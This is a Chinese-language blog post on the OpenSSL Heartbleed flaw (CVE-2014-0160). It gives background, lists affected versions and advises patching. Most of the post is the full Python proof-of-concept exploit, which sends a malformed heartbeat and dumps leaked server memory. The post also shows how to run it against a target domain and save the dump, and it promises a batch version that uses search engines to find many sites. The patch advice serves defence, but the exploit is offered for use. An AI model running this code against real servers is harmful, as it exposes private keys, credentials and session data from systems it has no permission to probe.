OpenSSL严重安全漏洞专文<附POC等等>

  • 发表于
  • 周边

1

CVE-2014-0160漏洞背景

2014年4月7日OpenSSL发布了安全公告,在OpenSSL1.0.1版本中存在严重漏洞(CVE-2014-0160),此次漏洞问题存在于ssl/dl_both.c文件中。OpenSSL Heartbleed模块存在一个BUG,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的openssl服务器内存中长大64K的数据。

OpenSSL受影响和不受影响版本

OpenSSL 1.0.1f(受影响)
OpenSSL 1.0.1g (不受影响)
OpenSSL 1.0.0 branch (不受影响)
OpenSSL 0.9.8 branch (不受影响)

对此我们给出如下建议

OpenSSL版本升级到最新的1.0.1g
重新生成你的私钥
请求和替换SSL的证书
使用-DOPENSSL_NO_HEARTBEATS参数重新编译低版本的OpenSSL以禁用Heartbleed模块
最新版本升级地址为:https://www.openssl.org/source/. (OpenSSL官方)

Heartbleed.com已经披露了相关细节,指出该漏洞与OpenSSL传输层安全协议的“heartbeat”部分有关。该问题甚至比苹果最近的SSL bug还要危险(因为这敞开了被恶意中间人攻击的大门)。
该bug是由安全公司Codenomicon和谷歌安全工程师独立发现的,据了解国内大量网站存在该漏洞,网友更称该漏洞为今年史上最强大的漏洞,如下图:

2

POC等,你懂的

在线检测:
您可以通过以下地址检测您的网站是否存在该漏洞,如下任意一个均可:
http://possible.lv/tools/hb/
http://filippo.io/Heartbleed/

POC下载:
(本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!)
ssltest.zip

同时贴一份POC代码在这:

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 0390 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 3500 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0dc0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 3200 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 9600 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 1500 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 3400 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 0900 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 1500 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print '%04x: %-48s %s' % (b, hxdat, pdat)
print

def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time() 
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata


def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False

if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True

if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False

def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break

print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)

if __name__ == '__main__':
main()

使用方法疑难:
假设poc文件openssl.py,配置python环境运行命令,将数据保存到这****.txt中(前提存在漏洞)

openssl.py www.****.net -p 443 >****.txt

部分朋友说运行py会报错,原因是你使用了最新的Python3环境,而POC是基于Python27写的,换成Python27即可。

golang 版https://github.com/titanous/heartbleeder

更多技术细节

参考Heartbleed网站,Hacker News上的讨论也极具价值,国内wooyun和tools等!

经测试国内较多站点,特别是安全类网站很多中招,赶紧修复吧!

稍后更新批量检测版POC,利用Google/百度等批量注射……